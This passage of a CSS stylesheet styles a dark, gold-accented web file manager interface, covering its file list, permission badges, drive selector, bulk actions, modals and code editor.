.sb-btn.disabled,
.sb-btn[aria-disabled="true"] {
  opacity: .35;
  cursor: not-allowed;
  pointer-events: none;
}

.sb-ico {
  width: 24px; height: 24px; border-radius: 6px;
  display: grid; place-items: center; flex-shrink: 0;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  position: relative; overflow: hidden;
  transition: background-color .14s var(--ease), border-color .14s var(--ease);
}
.sb-ico::after {
  content: ""; position: absolute; inset: 0;
  background: linear-gradient(135deg, rgba(245,185,66,.16) 0%, transparent 60%);
  opacity: 0;
  transition: opacity .14s var(--ease);
  pointer-events: none;
}
.sb-ico .bi {
  font-size: 13px;
  color: var(--jade);
  opacity: .92;
  position: relative; z-index: 1;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  line-height: 1;
  transition: opacity .14s var(--ease), color .14s var(--ease);
}
.sb-ico svg {
  width: 14px; height: 14px;
  stroke: var(--jade); fill: none;
  stroke-width: 1.8; stroke-linecap: round; stroke-linejoin: round;
  opacity: .9;
  position: relative; z-index: 1;
  transition: opacity .14s var(--ease);
}
.sb-ico:has(.bi) svg { display: none; }
.sb-btn:hover .sb-ico svg { opacity: 1; }
.sb-btn.danger .sb-ico svg { stroke: var(--tx3); }
.sb-btn.danger:hover .sb-ico svg { stroke: var(--red); }
.sb-btn:hover .sb-ico {
  background: var(--ink4);
  border-color: var(--jade-bd2);
}
.sb-btn:hover .sb-ico::after { opacity: 1 }
.sb-btn:hover .sb-ico .bi { opacity: 1 }

/* Danger variant — for Delete Selected */
.sb-btn.danger:hover {
  background: rgba(248,113,113,.06);
  border-color: rgba(248,113,113,.22);
  color: #ffb3b3;
}
.sb-btn.danger::before { background: var(--red) }
.sb-btn.danger:hover .sb-ico {
  border-color: rgba(248,113,113,.36);
}
.sb-btn.danger:hover .sb-ico::after {
  background: linear-gradient(135deg, rgba(248,113,113,.18) 0%, transparent 60%);
}
.sb-btn.danger:hover .sb-arrow { color: var(--red) }

.sidebar-divider {
  height: 1px;
  background: linear-gradient(90deg, transparent, var(--bd2) 30%, var(--bd2) 70%, transparent);
  margin: 10px 14px;
}

/* ─── DISK WIDGET ─────────────────────────────────────────────── */
.disk-box, .drive-box {
  margin: 10px 12px;
  padding: 14px;
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  position: relative;
  overflow: hidden;
}
.disk-box::before, .drive-box::before {
  content: "";
  position: absolute; inset: 0; pointer-events: none;
  background: linear-gradient(180deg, rgba(245,185,66,.04) 0%, transparent 30%);
  border-radius: inherit;
}
.disk-label {
  font-size: 9.5px; font-weight: 700; color: var(--tx3);
  text-transform: uppercase; letter-spacing: .12em;
  margin-bottom: 12px;
  display: flex; align-items: center; gap: 6px;
}
.disk-label::before {
  content: ""; width: 5px; height: 5px; border-radius: 50%;
  background: var(--jade);
  box-shadow: 0 0 6px var(--jade);
}
.disk-track {
  height: 6px;
  background: var(--ink4);
  border-radius: 99px;
  overflow: hidden;
  margin-bottom: 10px;
  box-shadow: inset 0 1px 2px rgba(0,0,0,.4);
}
.disk-fill {
  height: 100%; border-radius: 99px;
  background: linear-gradient(90deg, var(--jade-dk) 0%, var(--jade-lo) 35%, var(--jade) 70%, var(--jade-hi) 100%);
  transition: width .6s var(--ease-out);
  box-shadow: 0 0 10px rgba(245,185,66,.5);
  position: relative;
}
.disk-meta {
  display: flex; justify-content: space-between;
  font-size: 11px; font-family: var(--mono);
  color: var(--tx2);
}
.disk-meta span:last-child { color: var(--jade); font-weight: 600 }

#driveSelect {
  width: 100%; padding: 9px 11px;
  background: var(--ink3); border: 1px solid var(--bd2);
  border-radius: var(--r8); color: var(--tx);
  font-family: var(--mono); font-size: 11.5px;
  cursor: pointer;
  transition: border-color .15s var(--ease), background-color .15s var(--ease);
}
#driveSelect:hover { background: var(--ink4); border-color: var(--bd) }
#driveSelect:focus { outline: none; border-color: var(--jade-bd); box-shadow: var(--s-jade-soft) }

.sidebar-sys {
  padding: 12px 14px;
  border-top: 1px solid var(--bd2);
  background: rgba(0,0,0,.2);
  font-size: 11px; color: var(--tx4); font-family: var(--mono); line-height: 1.85;
}
.sidebar-sys strong {
  color: var(--tx3); font-size: 9.5px;
  text-transform: uppercase; letter-spacing: .12em;
  font-family: var(--sans); font-weight: 700;
  display: block; margin-bottom: 4px;
}

/* ─── MAIN PANEL ──────────────────────────────────────────────── */
.main { flex: 1; display: flex; flex-direction: column; overflow: hidden; min-width: 0 }

/* ─── ACTION BAR ──────────────────────────────────────────────── */
.actionbar {
  padding: 10px 16px;
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  border-bottom: 1px solid var(--bd2);
  display: flex; align-items: center; gap: 10px; flex-shrink: 0;
  flex-wrap: wrap;
}
.actionbar .breadcrumb { min-width: 100px; flex: 1 1 180px }

/* ─── BREADCRUMB ──────────────────────────────────────────────── */
.breadcrumb {
  display: flex; align-items: center; gap: 1px;
  flex: 1; overflow-x: auto; scrollbar-width: none;
  padding: 5px 8px; min-height: 38px;
  background: var(--ink2);
  border: 1px solid var(--bd2);
  border-radius: var(--r10);
  flex-wrap: nowrap;
  position: relative;
}
.breadcrumb::-webkit-scrollbar { height: 0; display: none }
.breadcrumb::after {
  content: ""; position: absolute; right: 0; top: 0; bottom: 0; width: 24px;
  background: linear-gradient(90deg, transparent, var(--ink2));
  pointer-events: none; border-radius: 0 var(--r10) var(--r10) 0;
}
.bc-btn {
  padding: 4px 9px; border: 1px solid transparent;
  background: transparent; border-radius: var(--r6);
  font-size: 12px; font-weight: 500;
  color: var(--jade); cursor: pointer; white-space: nowrap;
  font-family: var(--mono);
  transition: background-color .12s var(--ease), color .12s var(--ease), border-color .12s var(--ease);
}
.bc-btn:hover {
  background: var(--jade-bg);
  color: var(--jade-hi);
  border-color: var(--jade-bd);
}
.bc-sep {
  color: var(--tx4); font-size: 11px;
  user-select: none; padding: 0 1px;
  font-family: var(--mono);
}
.bc-cur {
  color: var(--tx);
  cursor: default;
  font-weight: 600;
  background: var(--ink3);
  border-color: var(--bd2);
}
.bc-cur:hover { background: var(--ink3); color: var(--tx); border-color: var(--bd2) }

/* ─── FILE PANEL ──────────────────────────────────────────────── */
.panel {
  flex: 1; overflow-y: auto;
  background: var(--ink0);
  contain: layout style;
  transition: opacity .18s var(--ease);
}
.panel.drag-over {
  box-shadow: inset 0 0 0 2px var(--jade), inset 0 0 40px rgba(245,185,66,.08);
}

/* ─── TABLE HEADER ────────────────────────────────────────────── */
.tbl-head {
  display: grid;
  grid-template-columns: 36px 1fr 100px 86px 140px 110px;
  gap: 8px; padding: 10px 16px;
  background: linear-gradient(180deg, var(--ink1), var(--ink2));
  border-bottom: 1px solid var(--bd2);
  position: sticky; top: 0; z-index: 10;
  font-size: 10px; font-weight: 700; text-transform: uppercase;
  letter-spacing: .14em; color: var(--tx3);
  box-shadow: 0 1px 0 rgba(0,0,0,.3), inset 0 -1px 0 rgba(245,185,66,.04);
  align-items: center;
}
.tbl-head .th-sort {
  display: flex; align-items: center; gap: 4px;
  cursor: pointer;
  padding: 3px 6px; margin: -3px -6px;
  border-radius: 4px;
  transition: color .12s var(--ease), background-color .12s var(--ease);
  user-select: none;
}
.tbl-head .th-sort:hover { color: var(--tx); background: var(--ink3) }
.tbl-head .th-sort.active { color: var(--jade) }
.tbl-head .th-arrow {
  width: 10px; height: 10px; opacity: 0;
  transition: opacity .12s var(--ease), transform .15s var(--ease);
  fill: currentColor;
}
.tbl-head .th-sort.active .th-arrow { opacity: 1 }
.tbl-head .th-sort.active.desc .th-arrow { transform: rotate(180deg) }

.tbl-head .chk-cell { cursor: pointer }

/* ─── FILE ROWS ───────────────────────────────────────────────── */
.flist { list-style: none; padding: 4px 0 12px }

.frow {
  display: grid;
  grid-template-columns: 36px 1fr 100px 86px 140px 110px;
  gap: 8px; padding: 0 16px;
  align-items: center; min-height: 48px;
  border-bottom: 1px solid var(--bd3);
  user-select: none;
  position: relative;
  transition:
    background-color .14s var(--ease),
    border-color .14s var(--ease);
  overflow: hidden;
}
.frow:last-child { border-bottom: none }
.frow::before {
  content: ""; position: absolute; left: 0; top: 0; bottom: 0;
  width: 3px;
  background: linear-gradient(180deg, var(--jade-hi), var(--jade), var(--jade-lo));
  transform: scaleY(0); transform-origin: center;
  transition: transform .18s var(--ease-out);
  border-radius: 0 2px 2px 0;
}
.frow::after {
  content: ""; position: absolute; inset: 0; pointer-events: none;
  background: linear-gradient(90deg, var(--jade-bg) 0%, transparent 60%);
  opacity: 0;
  transition: opacity .18s var(--ease);
}
.frow:hover { background: rgba(245,185,66,.025) }
.frow:hover::before { transform: scaleY(.7) }
.frow:hover::after { opacity: 1 }
.frow.sel {
  background: linear-gradient(90deg, var(--jade-bg), rgba(245,185,66,.04));
  border-bottom-color: rgba(245,185,66,.08);
}
.frow.sel::before {
  transform: scaleY(1);
  box-shadow: 0 0 12px var(--jade), 0 0 4px var(--jade);
}
.frow.sel:hover::after { opacity: 0 }
.frow > * { position: relative; z-index: 1 }

/* ─── CHECKBOX ────────────────────────────────────────────────── */
.chk-cell { display: flex; align-items: center; justify-content: center }
.chk-box {
  width: 16px; height: 16px; border-radius: var(--r4); cursor: pointer;
  background: var(--ink3); border: 1.5px solid var(--ink6);
  display: grid; place-items: center;
  transition: border-color .12s var(--ease), background-color .12s var(--ease);
  flex-shrink: 0;
}
.chk-box:hover { border-color: var(--jade) }
.chk-box.on {
  background: var(--jade);
  border-color: var(--jade);
  box-shadow: 0 0 0 1px var(--jade-bd2), 0 1px 4px rgba(245,185,66,.4);
}
.chk-box.on::after {
  content: ""; width: 4px; height: 7px;
  border: 1.5px solid #ffffff; border-width: 0 1.6px 1.6px 0;
  transform: rotate(45deg) translate(-1px,-1px);
}

/* ─── FILE NAME CELL ──────────────────────────────────────────── */
.fname-cell { display: flex; align-items: center; gap: 11px; min-width: 0; cursor: pointer }
.fname-text {
  flex: 1; min-width: 0;
  display: flex; align-items: center; gap: 7px;
}
.fname-text > .fname {
  font-size: 13px; font-weight: 500;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
  transition: color .12s var(--ease);
  color: var(--tx);
}
.fname-cell:hover .fname { color: var(--jade-hi) }
.fname-chip {
  display: inline-block; flex-shrink: 0;
  padding: 1px 6px; border-radius: 3px;
  font-family: var(--mono); font-size: 9px; font-weight: 700;
  text-transform: uppercase; letter-spacing: .06em;
  background: color-mix(in srgb, var(--type-color, var(--jade)) 12%, transparent);
  color: var(--type-color, var(--jade));
  border: 1px solid color-mix(in srgb, var(--type-color, var(--jade)) 22%, transparent);
  opacity: .85;
}
@supports not (background: color-mix(in srgb, red, blue)) {
  .fname-chip {
    background: var(--ink3);
    color: var(--type-color, var(--jade));
    border: 1px solid var(--bd2);
  }
}
.frow:hover .fname-chip { opacity: 1 }

/* ─── ICON ────────────────────────────────────────────────────── */
.ico-wrap {
  width: 30px; height: 30px; border-radius: var(--r8); flex-shrink: 0;
  display: grid; place-items: center;
  background: var(--ink2);
  border: 1px solid var(--bd2);
  color: var(--type-color, var(--jade));
  transition: background-color .12s var(--ease), border-color .12s var(--ease), transform .15s var(--ease-out);
  position: relative;
}
.frow:hover .ico-wrap, .gcard:hover .ico-wrap {
  background: var(--ink3);
  border-color: var(--type-bd, var(--jade-bd));
}
.fico {
  font-size: 17px;
  color: var(--type-color, var(--jade));
  opacity: .92;
  transition: opacity .12s var(--ease), transform .15s var(--ease-out);
  flex-shrink: 0;
  line-height: 1;
}
.frow:hover .fico, .gcard:hover .fico { opacity: 1 }
.frow:hover .ico-wrap .fico, .gcard:hover .ico-wrap .fico { transform: scale(1.04) }

/* Bootstrap Icons — UI chrome */
.bi { display: inline-block; vertical-align: -.125em; line-height: 1; font-style: normal; }
.topbar-btn .bi, .view-pill .bi, .btn-burger .bi, .ico-btn .bi { font-size: 17px; }
.logo-icon .bi { font-size: 22px; color: var(--jade); }
.search-wrap .bi.search-ico, .sb-search-wrap .bi { pointer-events: none; }
.search-wrap:focus-within .bi.search-ico { color: var(--jade); }
.sb-section-toggle > .bi:first-child { font-size: 13px; margin-right: 2px; opacity: .85; }
.sb-section-toggle .chev.bi { font-size: 12px; opacity: .55; margin-left: auto; }
.ctx .ci .bi { margin-right: 8px; font-size: 14px; vertical-align: -2px; opacity: .9; }
.tool-head-ico .bi { font-size: 17px; color: var(--jade); vertical-align: -3px; }
.bi.spin { animation: spin .85s linear infinite; display: inline-block; }
.gcard .fico { font-size: 26px; }

/* Legacy SVG cleanup (replaced by Bootstrap Icons) */
svg.svg-ico, .topbar-btn svg, .view-pill svg, .ico-btn svg, .btn-burger svg,
.sidebar-label svg, .sb-section-toggle svg:not(.chev), .search-wrap svg.search-ico,
.sb-search-wrap svg, .actionbar .btn svg {
  display: none;
}

/* ─── FILE TYPE COLORS — per data-icon ───────────────────────── */
[data-icon="folder"] { --type-color: #f5b942; --type-bd: rgba(245,185,66,.32) }
[data-icon="php"]    { --type-color: #a78bfa; --type-bd: rgba(167,139,250,.32) }
[data-icon="js"]     { --type-color: #f1e05a; --type-bd: rgba(241,224,90,.32) }
[data-icon="css"]    { --type-color: #ff7b72; --type-bd: rgba(255,123,114,.32) }
[data-icon="html"]   { --type-color: #ff9f6e; --type-bd: rgba(255,159,110,.32) }
[data-icon="config"] { --type-color: #a5d6ff; --type-bd: rgba(165,214,255,.32) }
[data-icon="text"]   { --type-color: #c9d1d9; --type-bd: rgba(201,209,217,.28) }
[data-icon="image"]  { --type-color: #7ee787; --type-bd: rgba(126,231,135,.32) }
[data-icon="archive"]{ --type-color: #ffa657; --type-bd: rgba(255,166,87,.32) }
[data-icon="database"]{--type-color: #d2a8ff; --type-bd: rgba(210,168,255,.32) }
[data-icon="file"]   { --type-color: #8b949e; --type-bd: rgba(139,148,158,.28) }

/* Selected state: tint ico-wrap with type color */
.frow.sel .ico-wrap, .gcard.sel .ico-wrap {
  background: color-mix(in srgb, var(--type-color, var(--jade)) 14%, var(--ink2));
  border-color: var(--type-bd, var(--jade-bd2));
}
@supports not (background: color-mix(in srgb, red, blue)) {
  .frow.sel .ico-wrap, .gcard.sel .ico-wrap {
    background: var(--ink3);
    border-color: var(--type-bd, var(--jade-bd2));
  }
}

/* ─── STAGGER FADE-IN ANIMATION ──────────────────────────────── */
@keyframes rowIn {
  from { opacity: 0; transform: translateY(-4px) }
  to   { opacity: 1; transform: translateY(0) }
}
@keyframes cardIn {
  from { opacity: 0; transform: translateY(8px) scale(.97) }
  to   { opacity: 1; transform: translateY(0) scale(1) }
}
.flist .frow {
  animation: rowIn .28s var(--ease-out) backwards;
  animation-delay: clamp(0ms, calc(var(--i, 0) * 16ms), 500ms);
}
.grid-wrap .gcard {
  animation: cardIn .32s var(--ease-out) backwards;
  animation-delay: clamp(0ms, calc(var(--i, 0) * 22ms), 600ms);
}
.panel.no-stagger .frow, .panel.no-stagger .gcard { animation: none }

/* ─── META CELLS ──────────────────────────────────────────────── */
.fmeta {
  font-size: 11.5px;
  color: var(--tx3);
  font-family: var(--mono);
  font-variant-numeric: tabular-nums;
}
.perm {
  display: inline-block;
  padding: 2.5px 9px;
  font-size: 10.5px; font-family: var(--mono); font-weight: 600;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  border-radius: var(--r4);
  color: var(--tx2);
  cursor: pointer;
  letter-spacing: .04em;
  position: relative;
  transition: border-color .12s var(--ease), color .12s var(--ease), background-color .12s var(--ease), transform .12s var(--ease);
}
.perm:hover { transform: translateY(-1px) }

/* WRITABLE — owner has write bit → GREEN */
.perm.perm-ok {
  color: #7ee787;
  border-color: rgba(126,231,135,.30);
  background: rgba(126,231,135,.07);
}
.perm.perm-ok:hover {
  background: rgba(126,231,135,.16);
  border-color: rgba(126,231,135,.55);
  box-shadow: 0 2px 8px rgba(126,231,135,.16);
}

/* WRITABLE + EXECUTABLE — also exec bit (e.g. 755) → BRIGHTER GREEN */
.perm.perm-ok-x {
  color: #4ade80;
  border-color: rgba(74,222,128,.36);
  background: rgba(74,222,128,.08);
}
.perm.perm-ok-x:hover {
  background: rgba(74,222,128,.18);
  border-color: rgba(74,222,128,.6);
  box-shadow: 0 2px 8px rgba(74,222,128,.2);
}

/* READ-ONLY — no owner write → RED (locked) */
.perm.perm-locked {
  color: #ff8e8e;
  border-color: rgba(248,113,113,.32);
  background: rgba(248,113,113,.07);
}
.perm.perm-locked:hover {
  background: rgba(248,113,113,.16);
  border-color: rgba(248,113,113,.55);
  box-shadow: 0 2px 8px rgba(248,113,113,.18);
}


/* ─── ROW ACTIONS ─────────────────────────────────────────────── */
.row-acts {
  display: flex; gap: 2px; opacity: 0;
  transform: translateX(6px);
  transition: opacity .18s var(--ease), transform .18s var(--ease);
  justify-content: flex-end;
}
.frow:hover .row-acts, .frow.sel .row-acts { opacity: 1; transform: translateX(0) }
@media (hover: none), (pointer: coarse) {
  .row-acts { opacity: 1; transform: translateX(0) }
}
.ico-btn {
  width: 28px; height: 28px; display: grid; place-items: center;
  border: 1px solid transparent; background: transparent; border-radius: var(--r6);
  cursor: pointer; color: var(--tx3);
  transition: background-color .12s var(--ease), color .12s var(--ease), border-color .12s var(--ease);
}
.ico-btn svg { width: 15px; height: 15px; fill: none; stroke: currentColor; stroke-width: 1.75; stroke-linecap: round; stroke-linejoin: round }
.ico-btn:hover {
  background: var(--ink4); color: var(--jade);
  border-color: var(--bd2);
}
.ico-btn.del:hover {
  color: var(--red); background: var(--red-bg);
  border-color: rgba(248,113,113,.25);
}

/* ─── BULK SELECTION FLOATING BAR ─────────────────────────────── */
.bulk-bar {
  position: fixed; left: 50%; bottom: calc(var(--statusbar-h) + 16px);
  transform: translateX(-50%) translateY(calc(100% + 24px));
  z-index: 150;
  display: flex; align-items: center; gap: 4px;
  padding: 6px 6px 6px 14px;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--jade-bd);
  border-radius: 12px;
  box-shadow:
    0 12px 40px rgba(0,0,0,.55),
    0 0 0 1px rgba(245,185,66,.18),
    0 0 24px rgba(245,185,66,.1),
    inset 0 1px 0 rgba(255,255,255,.04);
  font-size: 12px;
  opacity: 0; pointer-events: none;
  transition:
    transform .26s var(--spring),
    opacity .2s var(--ease);
}
.bulk-bar.show {
  opacity: 1;
  transform: translateX(-50%) translateY(0);
  pointer-events: auto;
}
.bulk-count {
  font-family: var(--mono); font-weight: 700;
  color: var(--jade); margin-right: 2px;
  font-variant-numeric: tabular-nums;
}
.bulk-label { color: var(--tx2); font-weight: 500 }
.bulk-sep {
  width: 1px; height: 18px;
  background: var(--bd2);
  margin: 0 6px;
}
.bulk-bar .bulk-btn {
  display: inline-flex; align-items: center; gap: 6px;
  padding: 6px 11px; border-radius: 7px;
  font-size: 12px; font-weight: 500;
  background: transparent; border: 1px solid transparent;
  color: var(--tx2); cursor: pointer;
  transition: all .14s var(--ease);
}
.bulk-bar .bulk-btn svg { width: 13px; height: 13px; fill: currentColor }
.bulk-bar .bulk-btn:hover {
  background: var(--ink4); color: var(--jade);
  border-color: var(--bd2);
}
.bulk-bar .bulk-btn.del:hover {
  color: var(--red); background: var(--red-bg);
  border-color: rgba(248,113,113,.3);
}
.bulk-bar .bulk-btn.close {
  width: 28px; padding: 0; height: 28px; justify-content: center;
}
@media (max-width: 640px) {
  .bulk-bar { left: 8px; right: 8px; transform: translateX(0) translateY(calc(100% + 24px)); width: auto }
  .bulk-bar.show { transform: translateX(0) translateY(0) }
  .bulk-bar .bulk-btn span:not(.bulk-only) { display: none }
}

/* ─── GRID VIEW ───────────────────────────────────────────────── */
.grid-wrap {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(135px, 1fr));
  gap: 12px; padding: 16px;
}
.gcard {
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border: 1px solid var(--bd2);
  border-radius: var(--r14);
  padding: 22px 12px 14px;
  text-align: center; cursor: pointer;
  position: relative; overflow: hidden;
  transition:
    transform .2s var(--spring),
    border-color .15s var(--ease),
    box-shadow .15s var(--ease),
    background-color .15s var(--ease);
}
.gcard::before {
  content: ""; position: absolute; inset: 0; pointer-events: none;
  background: linear-gradient(180deg, rgba(255,255,255,.025) 0%, transparent 40%);
  border-radius: inherit;
}
.gcard:hover {
  transform: translateY(-3px);
  border-color: var(--jade-bd2);
  box-shadow: var(--s2), 0 0 0 1px var(--jade-bd);
}
.gcard.sel {
  border-color: var(--jade);
  background: linear-gradient(180deg, var(--jade-bg), rgba(245,185,66,.02));
  box-shadow: 0 0 0 1px var(--jade-bd2), var(--s2);
}
.gcard .ico-wrap {
  width: 52px; height: 52px;
  margin: 0 auto 12px;
  border-radius: var(--r12);
  background: linear-gradient(160deg, var(--ink3), var(--ink2));
}
.gcard .fico { width: 26px; height: 26px }
.gcard:hover .ico-wrap {
  border-color: var(--jade-bd2);
  background: linear-gradient(160deg, var(--ink4), var(--ink3));
}
.gname {
  font-size: 12.5px; font-weight: 500;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
  color: var(--tx); position: relative;
}
.gsize {
  font-size: 10.5px; color: var(--tx3);
  margin-top: 4px; font-family: var(--mono);
  font-variant-numeric: tabular-nums; position: relative;
  display: flex; align-items: center; justify-content: center; gap: 6px;
}
.gext {
  font-size: 8.5px; font-weight: 700;
  padding: 1px 5px; border-radius: 3px;
  letter-spacing: .06em;
  background: color-mix(in srgb, var(--type-color, var(--jade)) 14%, transparent);
  color: var(--type-color, var(--jade));
  border: 1px solid color-mix(in srgb, var(--type-color, var(--jade)) 24%, transparent);
}
@supports not (background: color-mix(in srgb, red, blue)) {
  .gext { background: var(--ink3); border: 1px solid var(--bd2) }
}

/* ─── STATUS BAR ──────────────────────────────────────────────── */
.statusbar {
  height: var(--statusbar-h);
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  border-top: 1px solid var(--bd2);
  display: flex; align-items: center; padding: 0 16px; gap: 18px;
  font-size: 11px; font-family: var(--mono); color: var(--tx3);
  flex-shrink: 0;
  font-variant-numeric: tabular-nums;
}
.pulse-dot {
  width: 7px; height: 7px; border-radius: 50%;
  background: var(--jade);
  box-shadow: 0 0 0 0 rgba(245,185,66,.6);
  animation: pulseDot 2.4s var(--ease) infinite;
  flex-shrink: 0;
}
@keyframes pulseDot {
  0%, 100% { box-shadow: 0 0 0 0 rgba(245,185,66,.5); opacity: 1 }
  50%      { box-shadow: 0 0 0 5px rgba(245,185,66,0); opacity: .6 }
}
.statusbar strong { color: var(--tx2); font-weight: 600 }
.st-right { margin-left: auto }
.statusbar > span { display: inline-flex; align-items: center; gap: 6px }

/* ─── EMPTY STATE ─────────────────────────────────────────────── */
.empty { padding: 90px 24px; text-align: center; color: var(--tx3); position: relative; z-index: 1 }
.empty-ico {
  width: 84px; height: 84px;
  margin: 0 auto 22px;
  border-radius: 18px;
  background:
    radial-gradient(circle at 30% 25%, rgba(245,185,66,.14) 0%, transparent 60%),
    linear-gradient(160deg, var(--ink3), var(--ink1));
  border: 1px solid var(--jade-bd);
  display: grid; place-items: center;
  box-shadow:
    var(--s2),
    inset 0 1px 0 rgba(255,255,255,.05),
    0 0 0 4px rgba(245,185,66,.04),
    0 0 32px rgba(245,185,66,.08);
  position: relative;
}
.empty-ico::after {
  content: ""; position: absolute; inset: -8px;
  border: 1px dashed var(--jade-bd);
  border-radius: 22px;
  opacity: .4;
  animation: emptyOrbit 18s linear infinite;
}
@keyframes emptyOrbit { to { transform: rotate(360deg) } }
.empty-ico svg { width: 36px; height: 36px; fill: var(--jade); opacity: .9 }
.empty-ico svg { width: 32px; height: 32px; fill: var(--jade); opacity: .65 }
.empty h3 { font-size: 17px; color: var(--tx); margin-bottom: 6px; font-weight: 600; letter-spacing: -.01em }
.empty p { font-size: 13px; color: var(--tx3); max-width: 280px; margin: 0 auto 20px }

/* ─── MODALS ──────────────────────────────────────────────────── */
.overlay {
  position: fixed; inset: 0; z-index: 200;
  background: rgba(3,3,4,.78);
  display: flex; align-items: center; justify-content: center;
  padding: 24px;
  opacity: 0; visibility: hidden;
  transition: opacity .2s var(--ease), visibility .2s var(--ease);
}
.overlay.open { opacity: 1; visibility: visible }

.modal {
  background: linear-gradient(180deg, var(--ink2) 0%, var(--ink1) 100%);
  border: 1px solid var(--bd2);
  border-radius: var(--r20);
  box-shadow: var(--s3), 0 0 0 1px rgba(255,255,255,.02) inset;
  width: 100%; max-height: 92vh;
  display: flex; flex-direction: column; overflow: hidden;
  transform: scale(.96) translateY(8px);
  transition: transform .24s var(--spring);
}
.overlay.open .modal { transform: scale(1) translateY(0) }
.m-sm { max-width: 460px } .m-md { max-width: 600px }
.m-lg { max-width: 920px } .m-full { width: 96vw; max-width: 1320px; height: 90vh }

.modal-head {
  display: flex; align-items: center; gap: 12px;
  padding: 14px 18px;
  border-bottom: 1px solid var(--bd2);
  flex-shrink: 0;
  background: linear-gradient(180deg, var(--ink1), var(--ink2));
  position: relative;
}
.modal-head::before {
  content: ""; position: absolute; left: 0; right: 0; bottom: -1px; height: 1px;
  background: linear-gradient(90deg, transparent, var(--jade-bd), transparent);
}
.modal-head h2 {
  font-size: 14px; font-weight: 600;
  flex: 1; letter-spacing: -.01em; color: var(--tx);
}
.path-tag {
  font-size: 10.5px; color: var(--jade);
  font-family: var(--mono); font-weight: 500;
  padding: 4px 10px;
  background: var(--ink3); border-radius: var(--r6);
  border: 1px solid var(--jade-bd);
  max-width: 280px;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.modal-body { padding: 20px; overflow: auto; flex: 1 }
.modal-foot {
  display: flex; align-items: center; justify-content: flex-end; gap: 10px;
  padding: 13px 18px;
  border-top: 1px solid var(--bd2);
  background: linear-gradient(180deg, transparent, rgba(0,0,0,.15));
  flex-shrink: 0;
}
.modal-foot .left { flex: 1; font-size: 11px; color: var(--tx3); font-family: var(--mono) }

/* ─── FORMS ───────────────────────────────────────────────────── */
.fg { margin-bottom: 16px }
.fg label {
  display: block; font-size: 10.5px; font-weight: 700;
  color: var(--tx3); text-transform: uppercase; letter-spacing: .1em;
  margin-bottom: 7px;
}
.fg input, .fg textarea, .fg select {
  width: 100%; padding: 10px 12px;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  border-radius: var(--r8); outline: none;
  color: var(--tx); font-size: 13.5px;
  transition: border-color .15s var(--ease), box-shadow .15s var(--ease), background-color .15s var(--ease);
}
.fg input:hover:not(:focus), .fg textarea:hover:not(:focus), .fg select:hover:not(:focus) { background: var(--ink4); border-color: var(--bd) }
.fg input:focus, .fg textarea:focus, .fg select:focus {
  border-color: var(--jade-bd2);
  box-shadow: var(--s-jade-soft);
  background: var(--ink3);
}
.fg textarea {
  font-family: var(--mono); font-size: 13px;
  resize: vertical; min-height: 90px; line-height: 1.7;
}

/* ─── CODE EDITOR ─────────────────────────────────────────────── */
.editor-wrap {
  display: flex; flex: 1; overflow: hidden;
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  background: var(--ink0);
  min-height: 480px;
  box-shadow: inset 0 1px 2px rgba(0,0,0,.4);
}
.line-nums {
  padding: 18px 0;
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  border-right: 1px solid var(--bd2);
  font-family: var(--mono); font-size: 13px; line-height: 1.75;
  color: var(--tx4); text-align: right;
  user-select: none; overflow: hidden;
  min-width: 56px; flex-shrink: 0;
  font-variant-numeric: tabular-nums;
}
.line-nums div { padding: 0 12px }
.ed-area { flex: 1; position: relative; overflow: hidden }
.ed-area .ed-highlight,
.ed-area textarea {
  position: absolute; inset: 0; width: 100%; height: 100%;
  margin: 0;
  padding: 18px 20px;
  font-family: var(--mono); font-size: 13px; line-height: 1.75;
  tab-size: 4;
  white-space: pre;
  word-wrap: normal;
  overflow: auto;
  border: none;
  border-radius: 0;
}
.ed-area .ed-highlight {
  pointer-events: none;
  z-index: 1;
  color: var(--tx);
  overflow: hidden;
}
.ed-area textarea {
  z-index: 2;
  background: transparent;
  outline: none;
  resize: none;
  color: transparent;
  caret-color: var(--jade);
  -webkit-text-fill-color: transparent;
}
.ed-area textarea::selection { background: rgba(245,185,66,.30); color: transparent }
.ed-area textarea::-moz-selection { background: rgba(245,185,66,.30); color: transparent }
.ed-area.no-highlight textarea {
  color: var(--tx);
  -webkit-text-fill-color: var(--tx);
}
.ed-area.no-highlight .ed-highlight { display: none }

/* ─── SYNTAX TOKEN COLORS — Noir Gold palette ────────────────── */
.tk-com { color: #6e6a5e; font-style: italic }
.tk-str { color: #c4d196 }
.tk-num { color: #f5b942 }
.tk-key { color: #ff8c70 }
.tk-fn  { color: #e0bcff }
.tk-var { color: #ffa657 }
.tk-tag { color: #b8d986 }
.tk-att { color: #d4961f }
.tk-cls { color: #ffa657 }
.tk-pun { color: var(--tx2) }
.tk-bool{ color: #f5b942; font-weight: 600 }
.tk-op  { color: #ff8c70 }
.tk-md-h{ color: #f5b942; font-weight: 700 }
.tk-md-em{ color: #e0bcff; font-style: italic }
.tk-md-cd{ color: #c4d196 }
.tk-md-li{ color: #ff8c70 }

/* ─── IMAGE PREVIEW MODAL ─────────────────────────────────────── */
.ip-tabs {
  display: flex; gap: 2px;
  background: var(--ink3);
  border: 1px solid var(--bd2);
  border-radius: var(--r8);
  padding: 3px;
}
.ip-tab {
  padding: 5px 14px; font-size: 12px; font-weight: 500;
  color: var(--tx3); background: transparent;
  border: none; border-radius: var(--r6);
  cursor: pointer;
  transition: color .15s var(--ease), background-color .15s var(--ease);
}
.ip-tab:hover:not(.active) { background: var(--ink4); color: var(--tx2) }
.ip-tab.active {
  background: linear-gradient(180deg, var(--ink4), var(--ink3));
  color: var(--jade);
  box-shadow: 0 1px 0 rgba(255,255,255,.04) inset;
}

.ip-pane {
  display: flex; flex-direction: column;
  align-items: center; justify-content: center;
